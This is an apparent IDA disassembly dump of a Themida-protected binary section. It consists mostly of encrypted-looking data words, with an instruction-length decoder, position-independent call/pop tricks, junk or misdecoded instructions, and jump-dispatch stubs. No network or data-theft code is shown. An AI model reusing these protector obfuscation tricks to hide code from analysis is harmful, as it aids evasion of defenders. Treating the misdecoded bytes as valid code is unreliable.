8B795B5Ch, 3DA2CDF2h, 0A5671F73h, 0DFADD33Fh dd 0E44A4815h, 7A43D7BFh, 90F6F6C6h, 795B6248h, 47C42AECh dd 0D797343h, 7F4F19E7h, 0C28B1F85h, 1F443E0Eh, 4101BA58h dd 0EDFEDB1Dh, 9A473711h, 0FDCCFCF3h, 895FF339h, 4742BFB9h dd 0C1595932h, 4384h, 1FF4B100h, 0D0369602h, 7F739308h dd 6C386A2Ch, 60C6D66Ah, 0FF739398h, 88AE1ADCh, 0E79BC0B6h dd 25B91F15h, 93B0685Ch, 0A61AFF73h, 22B6B080h, 22F76922h dd 0CD2B91FDh, 0A77F7393h, 826168E5h, 68000000h, 0B7B180A6h dd 658E6123h, 0D33999F9h, 7F739305h, 0C3D96D2Fh, 755BB410h dd 4D3B6022h, 0C5595B27h, 0A8251FEFh, 0B5DAD4A4h, 5B8D00C1h dd 5C157779h, 0DDAB769Ch, 7EF140Eh, 947CA1h, 0E3605A2Ah dd 970320F3h, 73A3A571h, 0A27320C1h, 0F8089C12h, 1F0D7498h dd 9979A119h, 69A9C67h, 8E3C5F0h, 40652773h, 9DC2BC8Ch dd 12843DD1h, 44AA163Fh, 79766679h, 0FE3CB97Bh, 0B85F7DAh dd 0A236A538h, 421F467h, 3E143898h, 27007880h, 634E64F8h dd 8575205Dh, 8AB09EC3h, 0B39BC0BAh, 7F79491Fh, 0C5A0C402h dd 60DAF9A2h, 0F6C69C30h, 0EFE3D7FCh, 657850C4h, 0DEAE34EDh dd 936367E4h, 0EEC07499h, 0FE645A2Ch, 43690DD9h, 78477973h dd 31EAEA7Eh, 827C4B71h, 0BE1755Dh, 0C0C4413Bh, 1AD1F6F0h dd 3, 0E03A8721h, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h dd 5E08950h, 4, 8704E883h, 248B2404h, 26886824h, 1C890000h dd 0E7895724h, 4C781h, 0EF830000h, 243C8704h, 240C895Ch dd 179C6856h, 815E0D61h, 190970F6h, 66C68130h, 56C8B564h dd 0EC835E5Bh, 24248904h, 4240481h, 59000000h, 98168h dd 24048900h, 8B8h, 89C80100h, 0C8B5818h, 0E7895724h, 4C781h dd 0C7810000h, 4, 5C243C87h, 5B2434FFh, 0E904C483h, 0FFFAF771h dd 0F1EC42F5h, 874D173h, 0E7B8F78Bh, 3062D87h, 1DE0FFC5h dd 661A6877h, 46081F16h, 0D55BCEDh, 7D027F46h, 9D399E3Dh dd 0B94A9C0Dh, 0D44AED49h, 50445010h, 281C5B11h, 9F287FBDh dd 0B2F13D61h, 8B052973h, 1C795537h, 0A5FF8472h, 4982C787h dd 6C30B987h, 0AED229F3h, 6D1E2D07h, 5F14918Ah, 3E3F8531h dd 0DD30843Dh, 0EE33EDDEh, 0C83FD437h, 6B3DBC6h, 0DB189A62h dd 0A2B48B37h, 1D308437h, 0B8D8D437h, 0FD308437h, 6768476Fh dd 0F634A073h, 0AC34A073h, 9D308437h, 0B5314767h, 44D93B5Fh dd 0D1308434h, 0DED8D237h, 0CE308437h, 0FE6E4769h, 3A34A043h dd 0C134A073h, 0A8308437h, 0C294761h, 0EEE3FABh, 0BB53F2C1h dd 63458788h, 5AB83AB2h, 0E830EE31h, 0DD3087DFh, 2D6BA437h dd 536C0D6Ch, 9F740533h, 0DD309033h, 2D63C737h, 0CE56D7AFh dd 0B46AEB63h, 0DD3084B5h, 2D8EE237h, 0C56214A3h, 0DD60DA54h dd 0BBA04ABCh, 63CD4788h, 5AB824B2h, 0EC30EE31h, 0DD3087DFh dd 2D6FA437h, 534C0D68h, 9F740533h, 0DD309E33h, 2D67C337h dd 67E5D096h, 0DD16C3F0h, 8D6077BCh, 0E5B58B65h, 9E308437h dd 0BB308431h, 4049DECh, 0DF3FEED5h, 0FF4A3B51h, 0BFB9DC6Dh dd 8A30EE13h, 0EE3087DFh, 0B46FA437h, 9F4C0D68h, 0F9740533h dd 0EE309133h, 0B467C337h, 333F2E00h, 0DD30842Eh, 0EE3090DEh dd 9F401737h, 16C7FC7Ah, 39B44B95h, 4419D411h, 9119F077h dd 2ECF712Fh, 0DB189BA2h, 2EBBDA85h, 9F66845Dh, 0BB308434h dd 83F3DA17h, 0EA14F0BEh, 7314C0B6h, 0BB308423h, 76F3D271h dd 7DA0567h, 280FE466h, 0BA7939B4h, 0A830821Fh, 2B8D073Eh dd 7736AC23h, 0E8609D43h, 0A78844BCh, 67308433h, 5F3215B2h dd 0E5AD0931h, 2236AE92h, 6D68DFE4h, 5F24418Ah, 0AC448431h dd 0A788D767h, 67308433h, 5F3215B2h, 0F6AD0931h, 2236AE95h dd 8868DFE4h, 34EA56B6h, 303F44BCh, 0DD308436h, 46AD09CEh dd 7836A9BFh, 0BB3097B1h, 0DD3B6C37h, 4C528437h, 1FCD9809h dd 192AD636h, 84C30FB1h, 84FC01BAh, 0FC56821Ah, 0B4E07BC5h dd 0DD308CB9h, 613FD437h, 77308437h, 0B4F08F6Eh, 0DD30E5B3h dd 0B830EE37h, 773087DFh, 786EA437h, 0F9440D69h, 0CA740533h dd 77309233h, 7866C237h, 0D2249EE3h, 0EE3088B0h, 71BD8B37h dd 0B4308437h, 0DD3084BCh, 80AD0937h, 0CF36AC78h, 0BB308434h dd 3561845Dh, 0EE308434h, 2EF3DD17h, 0BF14C8BEh, 0D914C0B6h dd 0EE30842Bh, 19F3D576h, 60C282DDh, 62E52927h, 73BD67C8h dd 711D0C87h, 7AE70551h, 11B50976h, 1136A95Dh, 2530EEE7h dd 0BB3087DFh, 1E6AA437h, 0CA640D6Dh, 53740533h dd 0BB309033h, 1E62C637h, 10BBE246h, 0F33F443Ch, 0BB30847Ch dd 0DD3081DEh, 0CB9C8B37h, 0EABD19F3h, 0BD18CB59h, 65E70F51h dd 0EE308436h, 52023A64h, 44699648h, 8D30EED4h, 0EE3087DFh dd 0B468A437h, 9F740D6Fh, 0F9740533h, 0EE309F33h, 0B460C437h dd 0B38B0270h, 0B619478Fh, 88E13338h, 0FA086288h, 96B831AAh dd 50E70F31h, 0C35A48B2h, 88C00E31h, 3A3F7CE7h, 0DD30843Ch dd 0EE350038h, 0F6568437h, 0B05112C0h, 0B6B48BF7h, 0E1308437h dd 773086B7h, 36443237h, 0F57FEAAAh, 0BF30EE31h, 773087DFh dd 7869A437h, 0F97C0D6Eh, 0CA740533h, 77309233h, 7861C537h dd 244C9AB0h, 0EE30878Fh, 2630EE37h, 0BB3087DFh, 1E69A437h dd 0CA7C0D6Eh, 53740533h, 0BB309D33h, 1E61C537h, 1E8740F0h dd 0BDBB1329h, 0B2D867C8h, 0A308437h, 0D8F4532h, 0C25D2F44h dd 0A3E10551h, 3473DA57h, 0EE308432h, 93059A69h, 258D09C6h dd 5036A9BFh, 0C3BCECBAh, 2B4D3C31h, 3E030E7Ch, 0DB18A82Eh dd 0BDF14B1Ch, 1D0C8773h, 0E7055171h, 0B509767Ah, 36A95D11h dd 30EEE711h, 3087DF25h, 5E983BBh, 0C08BA4F3h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AAC35040h, 572FC7E8h dd 77D9E181h, 0F5A6E1Dh, 2083h, 0FE800h, 5A110000h, 5F61B8C6h dd 0D06BBFF9h, 3ACEE1D7h, 6E97Ah, 3E9F0000h, 0B85C23F7h dd 0C2816659h, 0C38B22BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0BCC35646h, 98DBFA0Bh, 0F181AD0h, 8B66C8B7h dd 6AC08BF0h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 21E2C352h, 4EC4C038h, 0E9965D70h dd 14h, 78BD0773h, 58A9BFC7h, 0B3BF9147h, 55EA87BCh, 49D20885h dd 149BD83h, 75000628h, 0C5BD8309h, 62814h, 53501974h dd 7AB8C08Bh, 89000004h, 282E5585h, 0C59D8D06h, 0FF062AA5h dd 83585BD3h, 2814C5BDh, 17740006h, 7AB85350h, 89000004h dd 282E5585h, 669D8D06h, 0FF062AA2h, 66585BD3h, 9F35D981h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 11C35343h dd 0ECCE3BABh, 0A07B4D3Dh, 7AB96635h, 9DD1819Dh, 8B57B2FFh dd 13E8C0h, 0FF330000h, 0C89AB39Dh, 0FEC5A0ABh, 230F5D8Bh dd 0CA325DF4h, 8B6660EEh, 28B456F0h, 815F6159h, 6B8EC7h dd 13E900h, 38680000h, 4C429571h, 735510F3h, 0E1F08075h dd 30CF2EF1h, 582ABE4Dh, 0C681647Ch, 9B83C27Fh, 0BE950h dd 0C9B0000h, 0EE39D653h, 0FAE9C68Dh, 0F8B5BE1h, 5F536060h dd 880Fh, 66610000h, 0D6B8F781h, 0ABF18161h, 0E9422260h dd 0Bh, 0AB890CD9h, 0B1A24753h, 8120F540h, 1ACF6F1h, 5CC1813Ch dd 80739D07h, 605116F2h, 8A5EFC50h, 78F61DCh, 1EF83F9h dd 3810Fh, 8B660000h, 4F4F4FC6h, 0F01EE83h, 1585h, 0E9D68B00h dd 34h, 948666DDh, 1E04038Bh, 0A9B7C3h, 10E9E355h, 44000000h dd 0AA37B579h, 0CD73ADCEh, 5297592h, 0E99C0363h, 0FFFFFF76h dd 0E0CDA93Ah, 3467FA3Fh, 0CE9A0DFh, 1C8E9h, 8 dup(41888800h) dd 4 dup(0) dd 880000h, 91C400h, 11111100h, 11111111h, 8899C911h, 88888888h dd 88h, 60000h, 444400h, 4100h, 11111100h, 44444411h, 88029944h dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h dd 0 dd 88h, 888888h, 80000000h, 88888800h, 888h, 8888800h dd 88888808h, 88h, 0 dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h dd 89h, 88888000h, 88888880h, 88888888h, 88888880h, 88888088h dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h, 0 dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0) dd 300h, 14h dup(0) dd 0CC200h, 758F29h, 100h, 11h dup(0) dd 353E900h, 0E8550000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 62D908Fh pusha mov dword ptr [ebp+62D8FDCh], 0 cmp word ptr [esi], 0A166h jnz loc_5A2400 mov dword ptr [ebp+62D8FE0h], 6 jmp loc_5A2424 ; --------------------------------------------------------------------------- loc_5A2400: ; CODE XREF: Themida_:005A23EBj lea eax, [ebp+62D8FE4h] push eax lea eax, [ebp+62D9034h] push eax push esi push 0 call sub_5A2433 add esp, 10h and eax, 0FFh mov [ebp+62D8FE0h], eax loc_5A2424: ; CODE XREF: Themida_:005A23FBj popa add esi, [ebp+62D8FE0h] mov eax, [ebp+62D8FDCh] pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A2433 proc near ; CODE XREF: Themida_:005A2411p var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_62D8FD4 = dword ptr 62D8FDCh push ebp mov ebp, esp push ecx push ecx and [ebp+var_5], 0 and [ebp+var_6], 0 xor dl, dl and [ebp+var_1], dl cmp [ebp+arg_0], 0 jz loc_5A2460 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh mov [ebp+var_2], 1 jmp loc_5A246C ; --------------------------------------------------------------------------- loc_5A2460: ; CODE XREF: sub_5A2433+16j and [ebp+var_3], 0 and [ebp+var_2], 0 mov [ebp+var_4], 4 loc_5A246C: ; CODE XREF: sub_5A2433+28j push ebx push esi push edi loc_5A246F: ; CODE XREF: sub_5A2433+91j ; sub_5A2433+ADj ... mov edi, [ebp+arg_4] mov esi, [ebp+arg_8] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_5A2482: ; CODE XREF: sub_5A2433+76j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 62D9146h lea ebp, [ebp+62D8FBCh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_5A24AF inc cl cmp cl, 0Bh jb loc_5A2482 loc_5A24AF: ; CODE XREF: sub_5A2433+6Bj cmp cl, 0Bh jz loc_5A250C cmp al, 66h jnz loc_5A24ED cmp [ebp+var_5], 0 jnz loc_5A246F cmp [ebp+var_3], 0 mov [ebp+var_5], 1 jnz loc_5A24E5 mov [ebp+var_4], 2 mov [ebp+var_3], 0FEh jmp loc_5A246F ; --------------------------------------------------------------------------- loc_5A24E5: ; CODE XREF: sub_5A2433+9Fj and [ebp+var_3], 0 mov [ebp+var_4], 4 loc_5A24ED: ; CODE XREF: sub_5A2433+87j cmp al, 67h jnz loc_5A246F cmp [ebp+var_6], 0 jnz loc_5A246F xor [ebp+var_2], 1 mov [ebp+var_6], 1 jmp loc_5A246F ; --------------------------------------------------------------------------- loc_5A250C: ; CODE XREF: sub_5A2433+7Fj mov ebx, [ebp+arg_C] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_5A2538 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_5A253D ; --------------------------------------------------------------------------- loc_5A2538: ; CODE XREF: sub_5A2433+E4j movzx edi, al shr edi, 1 loc_5A253D: ; CODE XREF: sub_5A2433+100j push ebp call $+5 pop ebp sub ebp, 62D91FEh lea ebp, [ebp+62D8EBCh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp+var_7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp+var_6], bl jz loc_5A26BF mov ebx, [ebp+arg_4] mov byte ptr [ebp+arg_0+3], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov byte ptr [ebp+arg_C+3], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz [ebp+var_5] shr ecx, 6 sub ecx, 0 jz loc_5A2603 dec ecx jz loc_5A25E6 dec ecx jnz loc_5A2656 cmp [ebp+var_2], 0 jnz loc_5A2652 cmp [ebp+var_5], 0 jz loc_5A25C5 mov byte ptr [ebp+arg_0+3], 2 loc_5A25C5: ; CODE XREF: sub_5A2433+188j add byte ptr [ebp+arg_0+3], 4 push ebp call $+5 pop ebp sub ebp, 62D928Ah mov [ebp+arg_62D8FD4], 1 pop ebp jmp loc_5A2656 ; --------------------------------------------------------------------------- loc_5A25E6: ; CODE XREF: sub_5A2433+16Dj cmp [ebp+var_2], 0 jnz loc_5A2630 cmp [ebp+var_5], 0 jz loc_5A2630 mov byte ptr [ebp+arg_0+3], 2 jmp loc_5A2630 ; --------------------------------------------------------------------------- loc_5A2603: ; CODE XREF: sub_5A2433+166j cmp [ebp+var_2], 0 jnz loc_5A2649 cmp [ebp+var_5], 0 jz loc_5A2638 movzx ecx, byte ptr [ebp+arg_C+3] mov edx, [ebp+arg_4] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_5A2630 mov byte ptr [ebp+arg_0+3], cl loc_5A2630: ; CODE XREF: sub_5A2433+1B7j ; sub_5A2433+1C1j ... inc byte ptr [ebp+arg_0+3] jmp loc_5A2656 ; --------------------------------------------------------------------------- loc_5A2638: ; CODE XREF: sub_5A2433+1DEj cmp dl, 5 jnz loc_5A2656 mov byte ptr [ebp+arg_0+3], dl jmp loc_5A2656 ; --------------------------------------------------------------------------- loc_5A2649: ; CODE XREF: sub_5A2433+1D4j cmp dl, 6 jnz loc_5A2656 loc_5A2652: ; CODE XREF: sub_5A2433+17Ej mov byte ptr [ebp+arg_0+3], 3 loc_5A2656: ; CODE XREF: sub_5A2433+174j ; sub_5A2433+1AEj ... dec byte ptr [ebp+arg_0+3] jz loc_5A2684 movzx ecx, byte ptr [ebp+arg_0+3] mov [ebp+arg_0], ecx loc_5A2666: ; CODE XREF: sub_5A2433+249j movzx esi, byte ptr [ebp+arg_C+3] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_8] inc byte ptr [ebp+arg_C+3] dec [ebp+arg_0] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5A2666 mov esi, edx loc_5A2684: ; CODE XREF: sub_5A2433+226j and al, 0FEh cmp al, 0F6h jnz loc_5A26B9 cmp edi, 7Fh ja loc_5A26B9 test bl, 38h jnz loc_5A26B9 cmp [ebp+var_7], 0 jz loc_5A26B3 movzx eax, [ebp+var_4] jmp loc_5A26B6 ; --------------------------------------------------------------------------- loc_5A26B3: ; CODE XREF: sub_5A2433+271j push 1 pop eax loc_5A26B6: ; CODE XREF: sub_5A2433+27Bj mov [ebp+var_1], al loc_5A26B9: ; CODE XREF: sub_5A2433+255j ; sub_5A2433+25Ej ... mov dl, byte ptr [ebp+arg_C+3] mov bl, [ebp+var_6] loc_5A26BF: ; CODE XREF: sub_5A2433+136j mov al, bl and eax, 7 sub eax, 4 jz loc_5A26EA dec eax dec eax jz loc_5A26E0 and bl, 7 add [ebp+var_1], bl jmp loc_5A26F2 ; --------------------------------------------------------------------------- loc_5A26E0: ; CODE XREF: sub_5A2433+29Cj mov al, [ebp+var_3] add al, 6 jmp loc_5A26EF ; --------------------------------------------------------------------------- loc_5A26EA: ; CODE XREF: sub_5A2433+294j mov al, [ebp+var_3] add al, 4 loc_5A26EF: ; CODE XREF: sub_5A2433+2B2j add [ebp+var_1], al loc_5A26F2: ; CODE XREF: sub_5A2433+2A8j mov al, [ebp+var_1] dec [ebp+var_1] test al, al jz loc_5A271A movzx ecx, [ebp+var_1] inc ecx loc_5A2705: ; CODE XREF: sub_5A2433+2E1j mov edi, [ebp+arg_4] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_5A2705 loc_5A271A: ; CODE XREF: sub_5A2433+2C7j pop edi pop esi mov al, dl pop ebx leave retn sub_5A2433 endp ; --------------------------------------------------------------------------- lea eax, [ebp+62D9089h] mov [ebp+62821B1h], eax lea ecx, [ebp+62D9476h] push 0 push edx call sub_5A273E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A273E proc near ; CODE XREF: Themida_:005A2736p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5A273E endp ; --------------------------------------------------------------------------- lahf adc eax, 0EDB50FFFh ror byte ptr [ebx+281F9995h], 6 mov [ebp+6280715h], ecx cmc mov dword ptr [ebp+62821BDh], 63C4h push 0 push edi call sub_5A2777 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A2777 proc near ; CODE XREF: Themida_:005A276Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5A2777 endp ; --------------------------------------------------------------------------- sub [edx-1B7134BEh], bh mov [ebp+62807B9h], esi mov dword ptr [ebp+628113Dh], 0 mov di, 84Ah push dword ptr [ebp+6281115h] mov [ebp+6282935h], ecx call dword ptr [ebp+62814D9h] cmc push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_5A2839 ; --------------------------------------------------------------------------- jmp short loc_5A2809 ; --------------------------------------------------------------------------- dw 0D34Ah dd 59572685h, 39FAD101h, 8F680B3Ah, 0B30F6DB5h, 0EB2E158Ch dd 0C5E8B8C7h, 374CC6F6h, 0A472BBBh, 56677CBBh, 5A5751F6h dd 225A35CCh, 0A6EA0EB7h db 0FCh, 13h ; --------------------------------------------------------------------------- loc_5A27F6: ; CODE XREF: Themida_:005A280Ej jmp near ptr 0F0969748h ; --------------------------------------------------------------------------- db 6Dh dd 410D425Ch, 5F3FEB26h, 0EA1A8AF7h db 0Ah ; --------------------------------------------------------------------------- loc_5A2809: ; CODE XREF: Themida_:005A27C0j inc eax xchg eax, esp loc_5A280B: ; CODE XREF: Themida_:005A281Bj frstor byte ptr [ebx-65h] jnp short loc_5A27F6 mov ah, [ebx] inc ecx pushf mov ecx, 0A2B32535h in eax, 74h jl short loc_5A280B cmp bl, [edx] jp short near ptr loc_5A2865+1 sahf pusha pop ss jnp short near ptr loc_5A2845+3 push cs outsd aaa in al, 0EBh adc eax, 8C1ADC33h shl byte ptr [ebp+4E2AC4DCh], cl jle short loc_5A2840 ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- loc_5A2839: ; CODE XREF: Themida_:005A27BEj jmp loc_5A29B9 ; --------------------------------------------------------------------------- cmc inc edi loc_5A2840: ; CODE XREF: Themida_:005A2836j das push eax clc push 0FFFFFF9Bh loc_5A2845: ; CODE XREF: Themida_:005A2824j test [eax-4EB398B2h], dl pop edx mov edx, 0B1543B0Bh push edx clc push esp mov dl, 0Bh xchg eax, ebx pop edx mov ecx, 92739F52h cmp ecx, [esi+0C52C026h] jb short loc_5A28A0 loc_5A2865: ; CODE XREF: Themida_:005A281Fj shr byte ptr [esi-3Ah], 1 aas pushf popf mov ah, 87h push edx xchg edx, [esi] not byte ptr [edx+28h] add [eax], eax ; --------------------------------------------------------------------------- db 3 dup(0) dd 40000h, 2 dup(0) dd 2F0000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h ; --------------------------------------------------------------------------- loc_5A28A0: ; CODE XREF: Themida_:005A2863j outsd arpl [ebp+73h], sp jnb short near ptr byte_5A2903 ; --------------------------------------------------------------------------- dw 0 dd 16h dup(0) db 3 dup(0) byte_5A2903 db 0 ; CODE XREF: Themida_:005A28A4j dd 2Dh dup(0) db 0 ; --------------------------------------------------------------------------- loc_5A29B9: ; CODE XREF: Themida_:loc_5A2839j jmp loc_5A409F ; --------------------------------------------------------------------------- push 62D985Ch jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D996Dh jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9A60h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9B1Ah jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9C60h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9E0Dh jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9F02h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62D9FB3h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DA1DAh jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DA2ECh jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DA393h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DA432h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DA5E8h jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DAAFBh jmp loc_55D826 ; --------------------------------------------------------------------------- push 62DABE5h jmp loc_55D826 ; --------------------------------------------------------------------------- dd 0AD91E360h, 0C9ADF376h, 0E0C41492h, 0FBDF27A9h, 13F745C4h dd 0B3324F5Eh, 0C64A8165h, 0E6679E82h, 181B89Ch, 8BD9D1B5h dd 0FB72333Ah, 0D374477Ch, 0BA3EF6Fh, 1768BC3Ch, 7AD6E5D4h dd 97DB5F24h, 3BF1830Dh, 0D4333939h, 0ACE8C6A4h, 0AC3E17E2h dd 87CB4F2Ah, 1BB0F0A9h, 54B87CFEh, 653D0CC2h, 72B104B1h dd 85FA494h, 327CFF8Eh, 83DF3159h, 0F8FBCD18h, 45h, 3811DC99h dd 51A224A6h, 7AD6E51Ah, 631CFA5Eh, 7CFEF1C9h, 37B94BAFh dd 0FEF087E6h, 0AE2EF37Ch, 0D25CCA62h, 0A8BF04F4h, 827CFEF0h dd 4D1CB404h, 6CEB83CBh, 936EEB13h, 0E23E92BAh, 57FBCE6Ah dd 0DBh, 6CEDC8F8h, 3E1C8A22h, 972F7BFBh, 69FB49C8h, 0E55796E7h dd 3FA37AD6h, 22A27161h, 0EF6F3ED6h, 358B8767h, 0F680620Eh dd 61B23412h, 7AD62C0Ah, 5D08EF45h, 56F37585h, 398907F2h dd 0CE84A25Bh, 1A9A7AD6h, 560CEACEh, 3AB2D5BAh, 4D906E70h dd 87E981CDh, 51E3BCh, 7CFE2D78h, 6E381C80h, 0E738CAA3h dd 7AD48DDEh, 0FF49CAA5h, 261BF967h, 0D3AE30C2h, 0FF6D0555h dd 115FDE21h, 0F4744F2Dh, 887CAA8h, 0FD7816BAh, 5D50876h dd 1441AAh, 44961300h, 60A62960h, 77C7457Ch, 92DA5C93h dd 0AAF877AEh, 0E79C11C6h, 0FF361A68h, 1C53377Bh, 366D519Bh dd 8E866AB6h, 7DFCEF40h, 29FC7CFBh, 0F546C888h, 7AD6E5F6h dd 7CA86202h, 461952A4h, 1C9BDEBCh, 33B3EACEh, 0C83803E7h dd 0E375E712h, 0A9873191h, 9D2F08D3h, 5944651Bh, 0AC9D7C76h dd 2AE6B2E6h, 6B49DF5Dh, 0FE8D7AB2h, 0B02E097Ch, 6F5AC860h dd 0A00EA6ECh, 0D769CDC2h, 9B3379FCh, 1A5F4F2Dh, 7CFE74D7h dd 0B447FDEDh, 5D95A200h, 0A8D0A381h, 0CE7FEC48h, 0C061FBh dd 6F020000h, 3C0BA3EFh, 0D71667BDh, 237AD6E5h, 589D35BFh dd 7AD6E1DAh, 0A084D050h, 59DE969h, 6DFFD8A3h, 0E58E10EBh dd 0FA921C62h, 0D761A92Bh, 0E2B840F9h, 49CB7CFEh, 0FEE2F5F8h dd 0C3A1057Ch, 0B3A82ECEh, 0FCF08CA4h, 0F9C48E72h, 673D8E20h dd 17AD456h, 56294495h, 0ED517684h, 77F6D163h, 8F0E4529h dd 7F175DE0h, 0B5E38711h, 0AC08763Dh, 133081DCh, 85020000h dd 95184F33h, 0B6346B4Fh, 0C94B8266h, 0E7669D81h, 0AD00B599h dd 1F0351D0h, 3C2064E8h, 563A8405h, 6F539F1Fh, 95D82977h dd 0E57CFB7Ch, 12C87112h, 836EA17Eh, 5A9D7B8Fh, 79FB8DDBh dd 0D6D7C528h, 0F3D1357Ah, 0B40080B7h, 0EF6F05D0h, 0B63611A3h dd 0CD9C8C6Ah, 946F014Dh, 0B1EDCB11h, 0C84BFC7Ah, 0BB53A321h dd 0BD2BC34Dh, 0A3259B33h, 0D6E51B52h, 4690117Ah, 3FA340AEh dd 529E1E61h, 0A7FEC56Eh, 0EF7103DCh, 0E5D11C6Dh, 57DB7AD6h dd 4C127613h, 0CE145158h, 0A35C3AF5h, 7CFEB769h, 60812B8Fh dd 8B74B808h, 59EBC48Fh, 4C5ED408h, 1C6DEF81h, 790C26D1h dd 78105ADBh, 2B096D0Ah, 0D83AD236h, 8294F80Dh, 542F2448h dd 0F6D5C68Eh, 901A93EEh, 23A17CFEh, 6D3CF5D3h, 0F57F2773h dd 0A424FF91h, 0BD3D7458h, 0F2D5CD71h, 0D0A00629h, 123D75h dd 40920F00h, 5CA2255Ch, 73C34178h, 8ED6588Fh, 0A6F473AAh dd 0E3A00DC2h, 0FB321664h, 184F3377h, 32694D97h, 8A8266B2h dd 7F80EB3Ch, 25F87CFBh, 0A3EF6F84h, 5DEA90Bh, 0CA1A9873h dd 791161DFh, 0F2432D0Bh, 7CFEF4A2h, 805E42A6h, 0A312B7CAh dd 0B18F7119h, 0AA2EE6Eh, 7204DDA8h, 0D3A3D321h, 1FB1157Ah dd 0E678C444h, 0AB43870Bh, 87115BDCh, 0B6366DA9h, 815CD26Ah dd 0B01EB600h, 5831FCD2h, 198F75C6h, 258970ADh, 3E8F1193h dd 6855182Fh, 0C609E74Bh, 0DF16FA46h, 0CB81135Fh, 3D452D17h dd 9D8D6B26h, 597703Bh, 7D3D28B4h, 28CC306Eh, 14CF7284h dd 83DA3505h, 55000011h, 6BA286D8h, 87BEA2E8h, 9ED5B909h dd 0B9F0D41Ch, 5308EC3Ah, 58A6255Ah, 75B93D74h, 8FD95A91h dd 0A8F474ABh, 2D7ECCC4h, 7CFB7E3Eh, 6FC6673Ah, 0F4BEA2F0h dd 6DBE5029h, 7CFEF387h, 0B6851D81h, 0CF06EA36h, 96B034Fh dd 51D3653Eh, 0F26F7ECFh, 278B7CFEh, 0DE409049h, 24887AD6h dd 90B8098Ch, 0F97B28A8h, 0A61558A9h, 1657686h, 0E771DF77h dd 956E3903h, 0B042B203h, 0F6D170AEh, 564B2977h, 8DDE60F2h dd 68AEBF5Eh, 6858369Ah, 35CD1999h, 8E072FE4h, 7D58EAC3h dd 0E9D3B1FDh, 5994E567h, 0A168AEBFh, 0BF89E435h, 8DF168AEh dd 0F86C2503h, 806E86A9h, 57EF3BBBh, 447B5FE9h, 0BE678C4h dd 70603E8Ch, 7684C42Bh, 18CE3E62h, 669B1B23h, 0E3B69458h dd 115DDDBBh, 2A76F62Dh, 8C653092h, 0F623A9FAh, 0F155645Eh dd 293C640Dh, 0A2F3855Eh, 6233136Ah, 2E802A8Eh, 0A785D553h dd 0FF97E564h, 0B7B60789h, 0C35E231Dh, 0A1C8815Fh, 0F85E231Dh dd 0CC2542Dh, 0E6B86D04h, 0CAB4922Dh, 0E3C7379h, 8F218558h dd 4E834B4h, 1853A426h, 6051F404h, 5BDB1EFCh, 29A8770Fh dd 6C7F37DBh, 4E1E2746h, 103DF3h, 40920F00h, 5CA2255Ch dd 73C34178h, 8ED6588Fh, 0A6F473AAh, 0E3A00DC2h, 0FB321664h dd 184F3377h, 32694D97h, 8A8266B2h, 7980EB3Ch, 25F87CFBh dd 0A2F06F84h, 0BB0787BEh, 88D45423h, 2FFA40F6h, 79BB8D72h dd 0BC2CAB9Bh, 56836606h, 480E759Ah, 11E15B75h, 0D6A987F3h dd 